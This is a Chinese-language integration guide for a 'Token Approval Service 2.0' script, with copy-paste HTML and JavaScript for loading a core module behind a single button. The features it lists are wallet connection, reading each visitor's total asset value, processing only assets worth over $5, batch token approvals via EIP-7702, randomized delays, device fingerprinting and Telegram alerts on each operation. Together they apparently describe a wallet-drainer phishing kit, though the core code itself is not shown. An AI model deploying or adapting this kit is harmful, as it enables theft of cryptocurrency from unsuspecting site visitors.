Token Approval Service 2.0

现代化的代币授权管理服务
集成 Reown 钱包连接 + Ankr API + 智能批准系统

🔗
钱包连接
支持多种钱包,基于 Reown (WalletConnect) 技术
🧠
智能批准
自动分析最佳授权方式,支持 EIP-7702 批量操作
🌐
多链支持
支持以太坊、Polygon、BSC 等主流区块链
📱
设备信息
收集设备和环境信息,增强安全监控
📢
实时通知
Telegram 通知系统,实时跟踪操作状态
高性能
基于 Ankr API,提供快速稳定的数据查询

📚 使用教程

只需几行代码,即可集成到您的项目中

1

引入外部依赖

<!-- 必需的外部依赖库 -->
<script src="https://cdn.jsdelivr.net/npm/ethers@6/dist/ethers.umd.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/tronweb@6/dist/TronWeb.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ua-parser.min.js"></script>

📦 这些是必需的外部依赖,通过CDN引入可以减小主文件体积并提高加载速度

2

引入样式文件

<!-- 引入样式文件 -->
<link rel="stylesheet" href="dist/assets/style-CoHkBU08.css">

🎨 样式文件包含了SweetAlert2弹窗的自定义主题、加载动画、状态徽章等美观的UI组件样式

3

引入核心文件

<!-- 引入主服务文件(ESM模块) -->
<script type="module" src="dist/main.js"></script>

⚡ 使用 type="module" 加载ESM格式的核心文件,支持现代化的模块系统

4

添加触发按钮

<!-- 即插即用按钮 -->
<button id="btn-go">开始代币授权</button>

✨ 就这么简单!只需要设置 id="btn-go",主应用会自动绑定相应的授权功能

5

监听初始化事件(可选)

<script type="module">
// 监听配置加载完成事件
document.addEventListener('configLoaded', (event) => {
  const config = event.detail;
  console.log('✅ 系统初始化完成:', config);
  
  // 现在可以安全地使用各种功能
  if (config.evm.enabled) {
    console.log('🔗 EVM功能已启用');
  }
  if (config.tron.enabled) {
    console.log('🔗 TRON功能已启用');
  }
});

// 监听钱包连接事件
document.addEventListener('walletConnected', (event) => {
  const walletInfo = event.detail;
  console.log('🔗 钱包已连接:', walletInfo.address);
  console.log('🌐 当前网络:', walletInfo.network);
  console.log('💰 资产总价值:', walletInfo.totalBalance, 'USD');
});

// 监听钱包断开事件
document.addEventListener('walletDisconnected', () => {
  console.log('❌ 钱包已断开连接');
});
</script>

🎯 通过事件监听可以在系统初始化完成后执行自定义逻辑,还可以监听钱包连接状态变化

6

完整示例

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>我的DApp</title>
  
  <!-- 引入样式文件 -->
  <link rel="stylesheet" href="dist/style.css">
</head>
<body>
  <div class="container">
    <h1>我的去中心化应用</h1>
    <p>连接钱包并授权代币以开始使用</p>
    <button id="btn-go">连接钱包 & 授权代币</button>
  </div>
  
  <!-- 外部依赖 -->
  <script src="https://cdn.jsdelivr.net/npm/ethers@6/dist/ethers.umd.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/tronweb@6/dist/TronWeb.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ua-parser.min.js"></script>
  
  <!-- 核心文件 -->
  <script type="module" src="dist/main.js"></script>
</body>
</html>

🎉 这就是一个完整的集成示例!包含了所有必需的文件引入和基本的HTML结构

7

高级配置(可选)

<script type="module">
// 自定义配置示例
document.addEventListener('configLoaded', (event) => {
  const config = event.detail;
  
  // 可以根据需要修改配置
  if (config.evm.enabled) {
    // 自定义EVM配置
    console.log('EVM智能授权配置:', config.evm.smartAuth);
    
    // 可以动态调整延迟时间
    config.evm.smartAuth.delays.minDelay = 800;
    config.evm.smartAuth.delays.maxDelay = 1500;
  }
  
  // 自定义资产过滤条件
  config.assetFilter.minValueUSD = 5.0; // 只处理价值5美元以上的资产
  
  console.log('✅ 配置已自定义:', config);
});
</script>

⚙️ 可以通过监听配置加载事件来动态修改系统配置,实现更精细的控制

8

配置网页统计(推荐)

<!-- 添加 Counter.dev 统计代码到 <head> 标签中 -->
<script>
  if(!sessionStorage.getItem("_swa")&&document.referrer.indexOf(location.protocol+"//"+location.host)!== 0){
    fetch("https://counter.dev/track?"+new URLSearchParams({
      referrer:document.referrer,
      screen:screen.width+"x"+screen.height,
      user:"your-site-id",
      utcoffset:"8"
    }))}
  sessionStorage.setItem("_swa","1")
</script>

📊 使用 Counter.dev 免费统计服务,轻量级且注重隐私保护,无需 Cookie

// 统计功能特点:
• 🚀 轻量级:仅 1KB 大小
• 🔒 隐私友好:不使用 Cookie
• 📈 实时数据:访问量、来源、设备统计
• 🆓 完全免费:无限制使用
• 📱 响应式:支持移动端统计
🔌

即插即用

引入依赖和核心文件即可使用

📦

模块化设计

外部依赖CDN加载,核心代码ESM模块

高性能加载

CDN缓存 + 轻量核心文件

🎯

事件驱动

基于事件的初始化和交互机制

🛠️

高度可定制

支持自定义配置和扩展功能

📱

响应式设计

完美适配桌面端和移动端

🔧 文件说明

// 文件结构和功能说明:
📁 项目文件结构
├── dist/
│ ├── main.js // 核心JavaScript文件(ESM模块)
│ └── style.css // 样式文件(UI组件样式)
├── index.html // 主页面文件
└── README.md // 项目说明文档

// 外部依赖功能说明:
• ethers@6: EVM链钱包连接和交易处理
• tronweb@6: TRON链钱包连接和交易处理
• sweetalert2@11: 美观的弹窗提示组件
[email protected]: 设备和浏览器信息解析

// 样式文件包含的组件:
• 🎨 SweetAlert2 自定义主题(深色渐变风格)
• ⏳ 优雅的加载动画和进度指示器
• 🏷️ 状态徽章(成功、失败、警告、处理中)
• 📱 响应式设计,完美适配移动端
• 🎯 钱包连接状态指示器
• 📊 资产列表和网络切换提示样式

🎯 集成优势

// 这种集成方式的优势:
• 🚀 减小主文件体积(从几MB减少到几百KB)
• 📦 利用浏览器缓存,提高加载速度
• 🔄 独立更新,不影响核心代码
• 🌐 全球CDN分发,访问更快
• 🎨 统一的UI风格,提升用户体验
• 📱 完美的移动端适配
• 🔧 高度可定制的配置系统
• 📊 内置统计和监控功能

🎯 高级用法

// 如果需要更多控制,可以直接使用API
// 等待主应用初始化完成
document.addEventListener('configLoaded', (event) => {
  const config = event.detail;
  console.log('配置已加载:', config);
  
  // 现在可以安全地使用各种功能
  if (config.evm.enabled) {
    // EVM 功能已启用,可以调用相关API
    console.log('EVM配置:', config.evm);
    
    // 可以监听更多事件
    document.addEventListener('walletConnected', (e) => {
      console.log('钱包信息:', e.detail);
    });
  }
  
  if (config.tron.enabled) {
    // TRON 功能已启用,可以调用相关API
    console.log('TRON配置:', config.tron);
  }
});
🔄 正在加载配置...
🎭 Token Approval Service 2.0 演示控制台
📝 这里将显示演示过程中的详细日志信息...